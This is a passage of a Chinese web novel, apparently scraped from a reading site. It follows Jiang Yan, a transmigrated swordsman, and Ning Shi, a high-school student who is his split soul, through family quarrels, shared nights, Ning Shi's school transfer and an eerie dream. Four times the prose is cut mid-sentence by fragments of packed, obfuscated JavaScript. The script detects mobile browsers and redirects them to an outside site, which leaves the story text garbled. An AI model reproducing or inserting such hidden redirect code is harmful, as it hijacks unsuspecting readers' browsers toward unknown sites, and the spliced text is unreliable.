公交车上断续响起报站的声音,一人一鸟没有再说话。 宁时在公交车一个剧烈的颠簸后醒了。 他看了眼身边的江晏,又看了眼他右手小指,笑了笑。 江晏余光瞥见了,决定假装什么也不知道。 又过了一会儿,他感到宁时戳了下自己,耳边是少年好听的声音:“该下车了。” 江晏这才收回看向窗外的目光,应了一声。 他们回到了家。 江晏看着手上的“戒指”,摘下来,拿在手里想了想,最后放在了书桌第一个抽屉深处。 宁时端着泡面来叫他吃饭时,盯着江晏的手指看了看,但什么也没有说。 这样平静的生活过了几日,在一个普通的上午,宁时收到了代玉兰和宁陟岳不知真情假意的道歉。 他们说,知道是宁瑜在捣乱了。 他们说,对宁时的进步非常欣慰。 他们还说,准备把宁时送到宁瑜上的私立高中,让宁时得到更好的教育。 宁时对此嗤之以鼻,并嫌弃他们打扰了自己和江晏的快乐生活。 不过,不同于上次,这次宁家好像是真的对宁时上了心,仅仅从宁时微信钱包增加的数额上就能看出来。 对此,宁时只用了很少一部分。 江晏打趣他:“有的人是一分不用,有的人会用光,你用一部分是什么意思?” 宁时从一张卷子里抬起头:“那算我的精神损失费。” 江晏给他比了个大拇指。 宁家消停了几日,宁时的养父母那边又出了幺蛾子。 是他们的亲生儿子王盼才,太淘气了,在路边闲得没事,用钥匙划了别人的车,还把前玻璃打破了,车主要让王家赔钱。 一共十万。 孙秀兰一听到这个数额,第一反应是这不是讹人呢么。 王丰则是用他的大脑想了想,认为车主和鉴定损失的机构串通了。 但结果只有一个——他们不想掏钱。 “他只是个孩子,你们和一个孩子计较?” 但在拉扯了一番后,王家终于意识到了,这笔钱是不赔不行了。 他们在第一时间想到了被送回家的宁时。 他们想着,宁时的亲生父母家里有钱,宁时又是一个男孩,想必现在过得不错。 自己又养了宁时这么多年,让宁时给弟弟掏点钱,也是应该的。 于是,在下了晚自习的某个晚上,宁时接到了孙秀兰的电话。 江晏眼睁睁看着宁时的脸色在话筒的嗡嗡声后变得一言难尽起来。 他悄悄问啾啾:“这是怎么了?” 啾啾便把王家的情况说了一下。 江晏拧起了眉毛。 这时,宁时终于开口了。 江晏听到他说:“……妈,你可能误会了。” 孙秀兰道:“别啊,别叫我妈,让你亲妈听见该不高兴了。” 宁时咬了下嘴唇:“我没住在他们家。” 电话那头的声音停了一瞬,随即拔高了:“你说什么?” 宁时叹了口气:“姨姨,我没在亲生父母家住着。” 孙秀兰长长地“啊”了一声,显然还没有反应过来这个信息。 话筒里传来窸窸窣窣的动静,是那边换了一个拿着话筒的人。 “就是说他们现在不管你了呗。”这是王丰的声音。 宁时:“……可以这么说。” 江晏隐约听见王丰好像骂了句脏话,宁时也皱了下眉。 王丰又道:“这可不行,我得找他们去!” 宁时和江晏对视了一眼。 宁时:“嗯嗯,那我先写作业了。” 王丰粗着嗓子:“你都不关心下你弟弟!” 说完,便挂了电话。 宁时翻了个白眼,一边坐到江晏身边。 此时,江晏已经对宁时的身世很熟悉了,他说:“欸,那个……你养父母真要找宁家要钱去啊。” 宁时点了点头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902334|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江晏惊了:“如果我没有记错的话,当初抱走你的事还没有理清呢。” 宁时摊手:“一堆烂账,真烦。” 又道:“让他们自己掰扯去吧,反正我的意见不重要。” 宁时有点崩溃,江晏甚至比宁时还要崩溃。 他对啾啾说:“我辛辛苦苦养这孩子快半年了,才把孩子养得活泼点,怎么总有破事!” “啊啊啊好像让他们滚啊——” 啾啾:“……你冷静点。” 江晏发疯:“我根本冷静不了!我就想好好陪他到高考结束都不行吗!” 江晏甚至已经开始查这个世界的法律条款了,但王家那边居然诡异地安静下来,没有再联系宁时了。 对此,江晏和宁时都很高兴,也有点奇怪。 终于,在十二月底,宁时从代玉兰那里得知,宁陟岳把王丰和孙秀兰告了。 新事旧事堆在一起,这两人进去了。 王盼才由王丰和孙秀兰的父母照顾。 宁时听完这个消息,沉默了一会儿。 对养父母的感情,已经在王盼才降生后的遭遇里消磨得差不多了。 现在,他不知道要以什么情绪面对这件事了。 王丰和孙秀兰在他的生命里渐渐走远了,他们像有过交集的陌生人。 宁时想不明白,便决定不再思考这件事了。 手下的习题才是他的关注点之一。 另一个关注点是江晏。 江晏最近有点忙。 十二月底了,有圣诞节,和接踵而至的元旦。 江晏就元旦要不要去兼职和宁时讨论过。 最终两人一致决定:去。 反正他们现在在同一个商场的书店打工,元旦书店又不会像餐饮业那么忙,还有更多的工资。 他们的元旦便在书店里度过。 白天人还有不少,过了晚上十点,店里只剩下四五个客人了。 在书店的轻音乐和咖啡的香气中,江晏隐约听见外面人群的声音大了很多。 他凑到宁时身边:“外面这是怎么了?” 宁时侧过身往外看了一眼,又看了下手表:“十二点四十了。” 江晏在啾啾的讲解下已经知道了跨年的概念:“所以外面会有烟花吗?” 宁时:“……有电子烟花,也有活动。” 这时,店长招啰着他们下班:“走吧,我们下楼正好能赶上跨年。” 他们便闭店,往楼下走去。 人很多很多,江晏和宁时走了有十分钟。 江晏能闻到空气中漂浮的香水、鲜花与甜点的气息,他也能看到身边年轻男孩们被发胶固定的刘海,和女孩子们眼睛上闪亮的银粉。 他和宁时越过人群,跌跌撞撞,最后在十二点五十九走到了商场外围的广场上。 广场上亮莹莹的,那是不同的造型灯、荧光棒,以及气球里的小彩灯。 当然还有大荧幕。 大荧幕上是旧年最后一分钟的倒计时。 江晏拉着宁时,看着荧幕上的数字越来越小,听着人群念倒计时的声音越来越大: 10,9,8,7,6,5,4,3,2,1…… 在屏幕上的1变为新年数字时,人群中掀起更加热烈的欢呼声,大荧幕上也放出了金红色的电子烟花,在人们脸上镀上一层变幻的光影。 江晏在倒计时“1”的余音中,扭过头去看宁时。 然后就对上了宁时专注的一张正脸。 好像注视了他很久的正脸。 周遭的欢呼声震耳欲聋,江晏却清晰地听见了宁时的声音,他说: “新年快乐,晏晏。” 24. 共枕 对于高三学生,新的一年不止代表着辞旧迎新,更多的是意味着他们离最终考试的时间更近了一步。 江晏坐在教室里,听着讲台上周莉念叨着: “放假回来了,你们该收收心了啊。” “新年,代表什么?你们没多少时间复习了哈。” “看看你们自己的成绩,算算用这一百多天,能提多少分。” …… 江晏瞄了眼宁时,宁时嘴巴紧紧闭着,让本来就明显的下颌线更加锋利了。 他感觉宁时在周莉的声音里快焦虑地碎掉了。 那天他们跨年回来,喜悦并没有持续多久,随之而来的是各种练习册与卷子。 宁时已经很久没有在十二点半以前睡过了。 江晏就只好陪着他。 对此,江晏对啾啾表达了忧虑:“我真害怕我们俩不长个了。” 啾啾打量了他一眼:“人家宁时的个子足够了……至于你,嗯,反正这个身体也不是原装,就不要在意这么多了。” 要不是啾啾是个虚影,那天餐桌上可能多一道红烧小鸟。 言归正传,江晏能感受到,在这个学习强度下,宁时的成绩确实是在渐渐向上涨,但宁时依然很焦虑。 最主要的表现就是:宁时失眠了。 那是在某节课的课堂上,在宁时的哈欠声中,江晏突然意识到,他已经很久没有听到宁时睡着的呼吸声了。 这说明最近每个晚上,宁时都晚于他入睡。 江晏按了按额角。 失眠这个事,看起来不疼不痒的,但太折腾人了。 在宁时又一个哈欠过后,江晏用笔戳了他一下:“你昨天没睡好?” 宁时抬手抹了一下眼角:“嗯,有点睡不着。” 江晏小声:“那你几点睡着的啊。” 宁时:“……不记得了。” 江晏一看他那副支支吾吾的样子,对啾啾说:“得了,当我看不出来啊。” “他肯定是没睡几个小时,不敢给我说真话。” “呵呵,我还不了解自己啊,放学就给他买药去。” 晚上,药店门口。 江晏和宁时对着一盒药算钱。 宁时:“算了,万一今天睡得着呢。” 江晏:“……咱还不至于到吃不起药的程度。” 宁时把他拉出店里:“你自己算算,每天吃两支,一天差不多五六块钱,够我摊个煎饼的。” 江晏对宁时翻了个白眼。 宁时举起双手:“好好好,那今天我们先回去。” “你再观察我几天,不行的话我就去吃药。” 江晏想了想:“好吧。” 几个小时后。 江晏和宁时并排平躺在床上,双手放在肚子上。 江晏默默数着数。 在他数了不知道第几个一百之后,他感觉自己今天也被宁时传染得睡不着了。 江晏知道,宁时也没有睡着。 他们的呼吸声都没有变化。 最后还是江晏打破了沉默。 他看着头顶吊灯的轮廓,轻轻咳了一声:“呃,你睡了吗?” 宁时的声音很快响起,清亮且没有睡意:“没有。” 宁时停了下,又道:“你也没睡着。” 江晏:“嗯。” 空气沉默了几秒,江晏忍不了了,他扭过身,面对着宁时:“为什么我也睡不着了。” 宁时的轮廓在黑暗中动了一下,应该也是把脸扭过来了:“那你就是被我传染了。” 江晏看不清他的表情:“不行明天我们还是去买药吧。” 宁时无语:“你先别想了嘛。” 江晏:“不行,你让我开始焦虑了。” 宁时的声音上扬了一下,是个疑惑的语气:“哈?” 江晏试图解释:“你看啊,你这样让我很担心你的身体与学习状态的。” 宁时的语气变得有点奇怪:“担心?” 江晏:…… 说错话了。 一定是最近他太累了脑子不清醒,居然在知道宁时的心思的情况下,还说了这么不合适的话! 江晏还在沉默,试图造就自己睡着的假象。 但显然宁时不认为他会秒睡,他语气更轻快了:“你还这么惦记我啊。” 江晏:“……闭嘴吧,肉麻。” 宁时确实依言乖乖闭了嘴。 但过了几秒,江晏感到身边的床垫轻微地陷下去了。 江晏睁开眼。 借着窗帘缝中依稀的天光,他能看到宁时的轮廓在动啊动,挪啊挪。 连带着他附近的床垫都凹下去了些。 江晏眯起眼睛,发现宁时的移动方向是……自己? 于是他干咳了一声:“你在干嘛呢。” 这是一个陈述句,没有疑问。 江晏看得很清楚,宁时就是在往自己的位置靠近,他只是提醒一下宁时。 黑暗中,宁时的动作停滞了一下:“啊,还是睡不着呢。” 江晏:“……所以?” 宁时接话接得毫不犹豫:“所以试试在你旁边能不能睡着。” 江晏:! 果然宁时就是在图谋不轨,他就纯纯的多问这一嘴。 江晏的声音中带了一丝气恼:“我是什么安眠药吗?” 宁时又往他身边凑了凑:“嗯,也许呢。” 窗外,月光在床上撒下一条银色的光带。 江晏看宁时是背光,但宁时看江晏是顺着光的。 宁时借着月色,瞧了下江晏的表情,很快补充道:“哎呀,也可能是最近冷得睡不好。” 江晏并不接茬:“老房子了,密封不严实。” 宁时猛点头,并以期待的眼神看向江晏。 江晏:…… 他懒得和宁时拉扯了:“所以,你的意思是两个人挨着睡暖和?” 宁时露出了一个灿烂的笑,可惜江晏在黑暗中看得不清晰:“是的,这样睡得好。” 江晏放弃抵抗了。 这孩子爱怎么样就怎么样吧。 他一言不发,默许了宁时的靠近。 宁时一开始还没有反应过来,等想明白了,喜出望外。 他不复刚才小心翼翼靠近的模样,甚至还把半米多的大枕头往前搬了搬。 最后在离江晏很近的地方躺下。 这是一个两人不动就碰不到,稍微调整一下睡姿就挨在一起的距离。 江晏只感觉确实像宁时说的一样,自己身边暖和起来了,好像宁时带过来一把火一样。 也能听见他更清晰的呼吸声了。 江晏再次闭上眼,准备睡觉。 身旁宁时的存在感太强了,江晏一直入睡失败。 更让他无奈的是,由于太久保持一个姿势躺着,他已经有点累了。 江晏想着,好想动一动腿。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902335|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可是宁时离他太近了,江晏不想惊动宁时。 就在江晏纠结如何换个姿势时,宁时动了。 江晏只感觉身上一沉,宁时把腿翘在了他身上。 江晏看着呼吸变得深而平稳的宁时:……好气呦。 他一把踹下去宁时的腿,大大方方地换了个睡姿,终于舒服了。 江晏心满意足地睡着了。 第二天,江晏在掐掉闹铃时,总觉得身下的触感不太一样。 十秒钟过后,江晏慢慢清醒过来。 一低头,哦,自己把腿架在了宁时腿上。 ……真够平等的。 江晏面无表情地坐起身来,试图删去这段记忆。 没过两分钟,宁时也醒了。 他对江晏:“早啊。” 江晏:“早。” 宁时皱眉:“我怎么感觉睡了觉还这么累啊。” 江晏:“……嗯,说明你太累了。” 语毕,匆忙洗漱去了,留下一头雾水的宁时。 或许是这次睡觉开了个头,从此以后,晚上宁时总是慢慢挪到江晏身边。 江晏从一开始的感觉全身都不对劲,渐渐转变为感觉这样睡也挺暖和的。 ——“习惯是个可怕的东西。”对此,啾啾这样评价。 出于某种无法用语言解释的原因,这样持续了一段时间后,宁时的睡眠质量真的有所好转。 江晏没少给啾啾吐槽:“这就奇怪了哈。” “他居然真的能睡好。” 啾啾想了想:“我有两个解释,你想听哪个?” 江晏:“都听呗。” 啾啾:“那我先说第一个。宁时不是你的分魂嘛,你们离得越近,越应该有稳固神魂的效果,所以他睡得好了。” 江晏点头:“有道理,所以另一种解释呢?” 啾啾迟疑着:“呃……其实你不用知道的。” 江晏虚虚拍了把它的脑袋:“不说就不要吊我胃口,快讲。” “好吧那就是宁时对你心思不纯在他心里你们算同床共枕了有了可喜可贺的发展。” 啾啾不喘气地说完了这句话,补充:“所以他快乐了,他能愉快地入睡了。” 江晏:…… 啾啾还在补刀:“说真的,你知道他喜欢你,为什么不避开这些行为呢。” 江晏木然道:“一开始确实是躲了……但看着他那副样子又不太忍心了。” “换个角度想,我们本来就是一个人。” “本来就应该是世界上最亲密的人。” “如果我都不爱他,那还能指望谁来爱他呢。” “这个世界的分魂好像产生了什么变异一样,现在他对我的感情更像是巧合,也许下个世界就变了” 江晏摆了摆手,准备结束这个话题:“就这样吧。” 啾啾:“行吧。” 江晏:“嗯嗯。” 这关于宇宙,自我和爱的话题暂时中止了。 江晏看着宁时的背影,叹了口气——他想回原世界了。 显然,江晏离回原世界的时间还有很久,但他身边的宁时,又要再次回家了。 ——是宁时收到了宁陟岳的一通电话。 宁陟岳告诉他,宁家已经为宁时办了转学手续。 要转到和宁瑜就读的同一所学校了。 此时,宁时必须要回家,听从父母的安排,收拾行李,准备前往私立中学了。 25. 转学 当江晏从宁时口中得知这个消息的时候,两眼一黑。 剑修已经很多很多年没有体验过这种血压冲到头顶的感觉了。 江晏盯着宁时手机上来着宁陟岳一分钟的语音条,声音不自主地比平时高了:“他到底是怎么回事?” 宁时:“说一不二惯了,一点没和我商量。” 江晏:“……他这是认真的吗?” 宁时没有回答,但脸皮不太好。 啾啾则在江晏的意识中说:“这次十有八九是来真的了。” 江晏叹了口气。 他打开手机地图:“准备把你弄到哪个学校?” 宁时报出了个地名,S中。 江晏在地图上一搜,显示这个学校距离他们家也不远,就在原来的学校附近。 江晏:……这应该算唯一的好消息了。 宁时伸手在地图上划拉了两下,道:“嗯,感觉我可以随时过来找你。” 江晏斜了他一眼:“想什么呢,你哪儿来的时间。” 宁时:…… 江晏退出了地图,开始搜索这个S中。 宁时看着江晏的侧脸,一种突如其来的悲伤涌起,淹没了他,让宁时几乎有点呼吸不过来。 他在这个世界上的十几年,经过了很多爱与抛弃。 江晏是第一个不怀着别的心思把他捡起来,完完整整接纳他的人。 这是他最快乐的时光了。 如果没有江晏,他应该是可以忍受宁家的傲慢,或者是王家的偏心。 但现在,宁时见过了照亮他生命的一团火。 名叫江晏的这团火,在他的生命里跳跃,烧掉了从前困住他的枯枝烂叶。 可宁家却要把这团火从他的人生里生生抽走。 宁时感觉一股说不出的感觉从胃部直冲到了鼻腔,让他鼻子和眼眶都发酸。 他已经没法注意江晏在手机上搜的是什么了。 几秒钟后,江晏看着手机,道:“……可是这个学校学费很贵。” 宁时有一瞬间疑心自己听错了,刚才悲伤的情绪硬是被打断了,如同emo时听《水星记》结果下一首就是《月亮之上》。 宁时对江晏投以疑惑的眼神。 许久得不到回应,江晏猛然抬头,看向宁时,结果就对上了宁时这夹杂着委屈和控诉的表情。 更要命的是,江晏还发现他的眼眶微微红了,眼睛中隐约有水光。 江晏:…… 他回想起了自己的上一句话。 江晏本意是安慰宁时,但看见他这副样子后,开始产生了自责。 对面,宁时似乎意识到了自己的失态,假模假样地打了个哈欠,又伸出手抹了一下看似打哈欠逼出的眼泪,道: “有多贵?” 江晏:你在这表演变脸呢。 但他没有拆穿宁时的打算,在江晏看来,小孩爱面子是很正常的一件事。 于是他顺着宁时的话说下去:“一年十万。” 宁时也沉默了。 江晏想了想:“嗯……他们舍得给你花这么多钱,也是认可你了的一种表现。” “也不会再任由宁瑜欺负你了。” 宁时点头:“往好处想吧,不得不去。” 江晏大力拍着宁时的肩膀:“对!帮我看看这学校里面长什么样子。” 宁时:“嗯,晚上回来。” 江晏想起了刚刚搜到关于S中的资料:“……这怕是不行了。” 他有点不敢看宁时的眼睛:“学校是封闭式的,包住。” 宁时的眼睛又开始泛红了。 他胸膛起伏,看起来有很多话要说,最后说出口的却是:“算了,我忍几个月。” 江晏:“我会经常看你的。” 这天晚上,二人久久不能入睡。 江晏在和啾啾聊天: “宁家要把宁时看作继承人培养了。” “包括转学,我不确定宁陟岳这些决定对宁时意味着什么。” “宁时可能得到更好的教育,更好的平台,更多的爱。” “但是他好像不太乐意。” 江晏最后做了个总结:“也许是宁时还没有体会过这些好处。” 啾啾无语了:“你就分析出来个这个?” “他都那么明显了,他就是想跟着你,和你在一起,在哪里都行。” 江晏:“……那可不行啊。我本意是让他有更好的生活,把生活中心全放在我一个人身上,那怎么行。” 啾啾想了想:“其实也行的,反正是你的分魂。” 江晏挠了挠头:“也许是我第一个世界还不太熟练,和分魂相处出了问题。” “才导致这么奇怪的感情走向。” 啾啾:“别感慨了,你先收回这个世界的分魂再说。” 于此同时,这个世界的分魂也在想事。 宁时闭着眼睛,眼前是难以名状的图案变幻,拉着他的意识沉到另一个世界。 宁时想,他要被迫和江晏分开了。 在他从江晏这里感受到了生活是一件还算不错的事情之后。 除此之外,还有对未来巨大的迷茫。 宁陟岳给他安排的学校到底怎么样? 同学们好不好相处?老师们会怎么看待他? 他在那里真的会提分吗? 以后自己就要住在宁家了吗? …… 宁时也根本睡不着。 他想着自己和江晏的未来。 最终,宁时想通了。 既然反抗不了宁陟岳的意思,那就把转学当成一个机会。 一个提升成绩、被宁家认可的机会。 和亲生父母的接触中,宁时发现这是一对很要面子的人。 只要自己在学生阶段成绩不错,他们对自己的容忍度就会更高一些。 宁时想,如果自己在新的学校继续提分,想必去看江晏也不是问题。 而且,等到高考后上了大学,天高皇帝远,宁陟岳和代玉兰想多管他也是心有余而力不足了。 这么一想,宁时终于感觉心情缓和了一些。 虽然还是兴致缺缺的状态,但比刚刚知道自己要转学的一瞬已经好了很多。 身边,江晏的呼吸声变得绵长起来。 宁时微不可闻地叹了口气。 残月西沉,转眼间来到了第二天早上。 是一个周五的早上。 江晏和宁时在餐桌前吃着炒馒头。 在一片沉默中,江晏开口: “今天上完课,你还回来吗?” 宁时摇了摇头:“估计直接被带回去了。” 江晏没有再动筷子,他看着那一盘被自己炒得有些糊边的馒头块,“哦”了一声。 江晏本来想问他下了课直接回去都没时间收拾行李,但又觉得提行李好像在催对方走。 于是他什么也没有说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902336|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁时边举起筷子,边道:“我的行李不拿了。” 江晏猛地抬起头。 同时不忘和啾啾说:“看我们多心有灵犀,我还想问他行李的事呢。” 啾啾:“叽叽啾啾!” 身前,宁时继续说着话:“说不准我什么时候还能回来看看你呢。” “咳,可别收我寄存费哈。” 江晏听宁时开始开玩笑了,也不再那么小心翼翼跟他说话了:“不行,必须收费。” 宁时笑了:“等我有钱了连房租一起给你。” 江晏:“吃饭吧,饭还堵不上你的嘴。” 不过,当江晏的视线移回到那盘发黑炒馒头上,他还是有的心虚了。 为了表达对宁时的重视,今天早晨他亲自做的饭。 在做什么菜时,江晏很是纠结了一番。 最后还是啾啾建议做道家常饭就行了。 啾啾原话如下: “你想做复杂的,你有那时间吗?你会吗?” “你一个从来不做饭的,搞得那么隆重,又该让他多想了。” “给他炒个这个地方的人常吃的饭得了,让我看看冰箱……呃,炒馒头吧,别的没法做。” 于是江晏采纳了啾啾的建议。 非常简单的一顿,用花生油和少量香油把切好的馒头块和包菜一起炒就是了。 江晏很多年没有进过厨房了,最后成品只是轻微发糊,他很满意。 宁时看起来吃得也很开心。 好吧,江晏看着正在光盘的宁时想,饭确实堵上了宁时的嘴。 不然宁时一张嘴,虽然没有说什么很煽情的话,但搞得他心里有些钝钝的难过。 吃完早饭后,他们照常去学校了。 这是一个和往常看起来没有什么变化的一天。 他们一起上课。 在食堂里一起吃饭,宁时吃了他一直没有点过的铁板饭。 他们在中午的教室里睡觉。 时间过得很慢又很快。 在下午时,宁时又收到了代玉兰的消息:“收拾一下东西,六点来接你。” 宁时本来以为他还有晚自习的时间。 没有想到这么快。 他把手机给江晏看,江晏翻了个白眼。 又过了一节课,周莉把宁时叫出来了。 他们在教室后门附近,离江晏很近,江晏忍不住探头看过去。 恰好和周莉的目光对上了。 一直是乖乖好学生形象的江晏:…… 他移开视线心虚地看向地面,再迟疑地看着周莉。 周莉却对他招招手:“你也过来吧。” 江晏迟疑了下,周莉又道:“赶紧过来。” 江晏便走出教室,来到二人身边。 夕阳的光透过宁时的头发,他低着头站着周莉身边,露出一节少年人清瘦的脖子。 江晏感觉宁时看起来更可怜了。 周莉看着他俩,清清嗓子:“咳,江晏你应该也知道宁时的情况了吧。” “他要转学了。” “这几个月你们的表现我也看在眼里,都进步了很多。” “朋友间分开了,你们还可以用手机常联系。” “我当然知道你们都偷偷带着手机呢。” “嗯……不说这个了,是想告诉你们,别受别的影响,到哪儿都好好学习吧。” “以后聚的机会多着呢。” 26. 续梦 第二天,S中。 这是一个精致的小教室,投影等设备一应俱全,地暖把教室里蒸得暖和和的。 双层明亮的玻璃窗外,是大片墨绿的松树。 宁时套着一身黑红相间的羊毛衫坐在教室里。 教室里还有同样穿搭的21个学生。 ——是的,这是宁时的新校服。 自从昨天被接回宁家以后,宁时像做梦一样又被拉到了S中,见到了他未来的校长和班主任。 又被代玉兰匆匆忙忙地带到宿舍。 宁时的东西已经全部在宿舍里了。 代玉兰的原话是“你什么都不用操心,明天直接去上课就好了。” 既然都这么说了,宁时诡异地平静下来。 再不如意还能怎样呢。 他走过了郊区开裂的水泥路,走过了烈日炎炎和鹅毛大雪,走过了那些真情假意。 现在他站在一个新的地点。 这个地点看起来还不错。 ——确实不错,S中的宿舍是公寓式的,两室一厅,宁时和他那个还没有见过面的室友共享这近六十平米的屋子。 只有回到自己的卧室,把门一关,和单间没什么两样。 晚上,宁时躺在床上,能闻到被单上还残留着一些塑料包装的味道。 他用手机拍下了自己棕色格子被单,发给江晏。 信号越过这个城市的高楼,越过各色的行人和故事,最终落在了江晏手机上。 江晏放在身边的手机震了下,他看了眼屏幕,回复道:“你们宿舍?” 宁时:“嗯。” 江晏:“看着不错……我柠檬了!” 宁时:…… 他们这样慢慢聊着,最后江晏说:“你去睡觉吧。” 宁时:“我不困。” 江晏看着这句话,决定发给语音。 打字不足以表达他的无语。 于是半分钟后,宁时点开了江晏发来的语音条,被连珠带炮地糊了一脸: “你不困,难道我就不困了吗?嗯?” “去去,睡觉去,别搞得这么肉麻。” “又不是见不着了。” 江晏不知道,他无心中那句“见不着了”简直是直直扎在了宁时胸口上。 宁时喘了口气,打字:“嗯,我收拾一下准备睡觉。” 江晏:“这才对嘛,可别熬夜。” 宁时:“晚安。” 江晏看着这两个字,突然感觉有点肉麻。 平时还没什么感觉,可今天他感觉到了一丝不一样的意味。 已经熟练掌握如何使用表情包的江晏,在输入“晚安”后相关搜索弹出一堆表情的界面里,最终选择了一个看起来很直男的动画。 直男这个词还是他跟啾啾学的。 啾啾看着江晏的手机,点评到:“不错,这个动画像老爷子拽老式电灯的开关绳。” 江晏:…… 他不知道的时,在城市另一头的宁时,看着这个表情,陷入了“晏晏的表情包真可爱”的奇妙思绪当中。 宁时这一觉睡得不算安稳,朦胧中断断续续地在做梦。 这个梦甚至还和他上次做的梦接上了。 宁时和那看不清面孔的人,在水仙花香中坠落。 四周是如狼似虎的家仆们,举着不同的武器刺过来。 这个梦太真实了,宁时几乎闻到了那刀戟弥漫在空气中的冰冷的金属气息。 他仓皇地要躲。 几乎算堪堪避开要害,但后脑还是被挨了一记闷棍。 宁时这下感觉这个梦的真实感更上一层楼了。 因为他不仅感受到了疼痛,还感受到了他从来没有体验过的眼冒金星和耳鸣。 宁时整个大脑几乎被这一下弄懵了。 晕眩和疼痛过后,是胃部涌上的恶心感。 宁时皱着眉,一面想着,都说意识来源于已知,在自己不知道的地方,自己的想象力已经这么强大了吗? 水仙花香气中,他能感到梦中的身体还在活动,忽上忽下。 嗯,看来是逃出来了。 也确实是逃出来了。 宁时能看到一个少年穿着灰扑扑的衣服,在连绵的房檐间跳跃。 可是似乎有什么东西被遗忘了。 少年的身影越来越小,他身后看起来很有弹性的高马尾渐渐看不清了。 宁时突然在原地打了个冷战。 一个少年。 一个。 可是刚刚自己还明明和这个少年在刀光剑影中拥在一起。 远处,少年的身影已经消失了。 那么,到底是谁逃出去了呢? 还是说,自始至终,需要逃走的,只有一个人呢? 宁时看不太懂这个梦,但一种巨大的恐惧从心底开始蔓延。 梦境中,他这具身体也在战栗、发抖。 宁时梦境中的身体低下头,摊开自己的双手。 可他视野中只有几朵伏在泥土中缺了瓣的野花。 这个“身体”急急转了转身,又抬了抬腿。 视野也转了转,是一个刻着“何”字样和牡丹纹的水缸。 眼前的一幕好像刺激到了“身体”,他开始狂乱地转圈,上下跳动。 但作为旁观者,宁时却看明白了—— 现在自己附在了一个没有实体的意识体上。 意识体折腾了一会儿,不知道是累了,还是接受了这个现实,短暂地平静下来。 宁时面前的视野终于不那么晃了。 视野在慢慢向家仆的方向拉进,宁时知道,这是意识体要回到他刚刚挨了棍子的地方。 可是为什么要回来? 家仆们三三俩俩扎堆,小声说着什么。 但意识体好像并不在意这些谈话的内容,穿到宁时耳中,他只能听见一片嗡嗡声。 意识体的视线略过一个又一个人。 最后,意识体在某个闭着双眼、躺在地上的少年身边停下了。 宁时也顺着看去。 是一个长相不错的少年,还没有完全长开,但宁时觉得以后应该是个浓颜系帅哥。 少年穿的也是灰衣,这次离得近了,宁时在他衣领上也看到的刺绣的“何”字。 却没有牡丹花纹了。 宁时估计现在的位置是某个世家大族的院落。 在宁时思考之时,意识体探了探少年的鼻息。 然后宁时惊恐地发现……这孩子好像已经没了。 然后宁时更加惊恐了。 他看着少年的脸逐渐放大……意识体在干什么! 当宁时感觉自己快要贴上少年的睫毛时,身上传来一股吸力。 然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902337|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后他就眼睁睁地看着意识体带着自己钻进了……少年的大脑。 ! 太惊悚了,宁时一下子清醒了,猛地从床上坐起来,大口喘气。 身边安静得有些过分,没有另一个人的呼吸声。 宁时这才慢慢冷静下来。 他意识到自己已经从江晏家里离开了。 住在S中的宿舍里。 这个宿舍的密封性没有愧对学费,隔噪一绝,宁时听不见外面车流的声音,也听不见窗外的鸟鸣或虫鸣。 宿舍里只有他一个人略微急促的呼吸声。 宁时叹了口气,看了眼手表,发现现在是凌晨三点。 离他起床的时间还有很久。 宁时打算睡个回笼觉。 可是不知道是不是刚才的梦境带了那么一丝意味不明的味道,宁时后面睡得并不安稳。 半睡半醒的。 一闭上眼睛,那看不清脸的少年背影就在他脑海中晃来晃去。 宁时:…… 这觉到底还能不能睡了! 答案是不能。 因此,现在的宁时,在S中这个温度适宜的教室里,正在打盹。 他依然坐在倒数第二排。 也是正数第三排。 毕竟这个班加上他,现在只有22个人。 宁时还记不住他们的脸,因为已经趴在桌子上睡着了。 这是早自习的时间,宁时认为小睡一会儿也没什么事的。 上课铃响后,宁时想所有转校生一样,在讲台上做了自我介绍。 趁这个时间,他认真打量了一番新同学。 ……嗯,其实感觉和原来的学校相差不大。 有胖有瘦,有黑有白。 有的人桌子上贴满了各种贴纸,有的人课本摞得整齐到像被刀切过一样。 宁时从他们身上看到了熟悉的影子。 